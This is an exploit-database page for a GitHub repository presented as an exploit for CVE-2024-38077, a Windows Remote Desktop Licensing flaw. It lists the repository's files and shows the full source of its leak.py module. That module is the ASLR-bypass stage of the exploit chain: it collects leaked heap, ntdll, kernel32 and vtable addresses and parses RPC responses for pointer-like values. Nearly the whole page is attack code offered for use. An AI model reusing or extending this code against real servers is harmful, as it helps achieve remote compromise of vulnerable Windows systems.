Exploit databaseDownload repository ZIP
GH-1b70409fc3b96c35491ddad5edcb2efb
ermensonx/cve-2024-38077-madlicense-exploit
Sources for CVE-2024-38077
11 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files18
ermensonx/cve-2024-38077-madlicense-exploitRevision 5fd0135e59f9
- docs/
- .gitignore
- README.md
- __init__.py
- code_reuse.py
- execution.py
- exploit.py
- find_max_size.py
- heap_controller.py
- leak.py
- mitigations.py
- payload.py
- poc.py
- primitives.py
- target_model.py
- test_rpc_format.py
- trigger.py
- write_primitive.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
leak.py
Python · 6,174 bytes"""
Module 1: Leak Provider - Information Disclosure for ASLR Bypass
"""
from dataclasses import dataclass, field
from typing import Optional, Dict, Callable
from abc import ABC, abstractmethod
from .primitives import u64, u32
@dataclass
class LeakInfo:
"""Container for all leaked addresses"""
# Process memory
heap_base: int = 0
stack_base: int = 0
peb_address: int = 0
teb_address: int = 0
# Module bases
ntdll_base: int = 0
kernel32_base: int = 0
kernelbase_base: int = 0
target_module_base: int = 0 # lserver.exe or dll
# Specific addresses
target_object_addr: int = 0
vtable_addr: int = 0
stack_cookie: int = 0
# Metadata
source: str = "unknown"
confidence: float = 0.0
def is_valid(self) -> bool:
"""Check if we have minimum required leaks"""
return (self.heap_base != 0 or
self.ntdll_base != 0 or
self.target_object_addr != 0)
def has_full_aslr_bypass(self) -> bool:
"""Check if we can fully bypass ASLR"""
return (self.ntdll_base != 0 and
self.kernel32_base != 0 and
self.heap_base != 0)
def to_dict(self) -> Dict[str, int]:
"""Export as dictionary"""
return {
"heap_base": self.heap_base,
"ntdll_base": self.ntdll_base,
"kernel32_base": self.kernel32_base,
"kernelbase_base": self.kernelbase_base,
"target_object_addr": self.target_object_addr,
}
def __str__(self) -> str:
return (f"LeakInfo(heap={hex(self.heap_base)}, "
f"ntdll={hex(self.ntdll_base)}, "
f"k32={hex(self.kernel32_base)})")
class LeakSource(ABC):
"""Abstract base for leak sources"""
@abstractmethod
def obtain_leak(self, context: dict) -> Optional[LeakInfo]:
"""Attempt to leak addresses"""
pass
@property
@abstractmethod
def name(self) -> str:
pass
class ManualLeakSource(LeakSource):
"""Manual leak input (for lab/debug)"""
def __init__(self, leak_info: LeakInfo):
self._leak = leak_info
self._leak.source = "manual"
self._leak.confidence = 1.0
@property
def name(self) -> str:
return "ManualInput"
def obtain_leak(self, context: dict) -> Optional[LeakInfo]:
return self._leak
class ResponseLeakSource(LeakSource):
"""
Extract leaks from RPC responses.
Some services accidentally leak pointers in error messages or outputs.
"""
def __init__(self, parse_func: Callable[[bytes], Optional[LeakInfo]] = None):
self.parse_func = parse_func or self._default_parse
@property
def name(self) -> str:
return "ResponseLeak"
def obtain_leak(self, context: dict) -> Optional[LeakInfo]:
response_data = context.get("response_data", b"")
return self.parse_func(response_data)
def _default_parse(self, data: bytes) -> Optional[LeakInfo]:
"""
Default parser: look for pointer-like values.
Windows x64 user-mode pointers typically:
- Start with 0x00007FF (high addresses) for modules
- Start with 0x000001/0x000002 etc for heap
"""
leak = LeakInfo()
if len(data) < 8:
return None
for i in range(0, len(data) - 7, 8):
val = u64(data[i:i+8])
# Module address pattern (user-mode high)
if 0x7FF000000000 <= val <= 0x7FFFFFFFFFFF:
if leak.ntdll_base == 0:
# Align to page boundary as potential module base
leak.ntdll_base = val & ~0xFFFF
# Heap address pattern
elif 0x000001000000 <= val <= 0x00007FFFFFFFFF:
if val & 0xFFF == 0: # Page aligned
if leak.heap_base == 0:
leak.heap_base = val
if leak.is_valid():
leak.source = "response_parse"
leak.confidence = 0.6
return leak
return None
class TimingLeakSource(LeakSource):
"""
Timing-based leak (side channel).
Not practical for most scenarios but included for completeness.
"""
@property
def name(self) -> str:
return "TimingSideChannel"
def obtain_leak(self, context: dict) -> Optional[LeakInfo]:
# Timing attacks require many samples and are target-specific
# Placeholder for educational purposes
return None
class LeakProvider:
"""
Main leak orchestrator.
Tries multiple sources and aggregates results.
"""
def __init__(self):
self.sources: list[LeakSource] = []
self.cached_leak: Optional[LeakInfo] = None
def add_source(self, source: LeakSource):
"""Add a leak source"""
self.sources.append(source)
def add_manual_leak(self, **kwargs):
"""Convenience: add manual leak values"""
leak = LeakInfo(**kwargs)
self.add_source(ManualLeakSource(leak))
def obtain(self, context: dict = None) -> Optional[LeakInfo]:
"""Try all sources, return best leak"""
context = context or {}
best_leak = None
best_confidence = 0.0
for source in self.sources:
try:
leak = source.obtain_leak(context)
if leak and leak.confidence > best_confidence:
best_leak = leak
best_confidence = leak.confidence
except Exception as e:
print(f"[!] Leak source {source.name} failed: {e}")
self.cached_leak = best_leak
return best_leak
def get_cached(self) -> Optional[LeakInfo]:
"""Return cached leak without re-querying"""
return self.cached_leak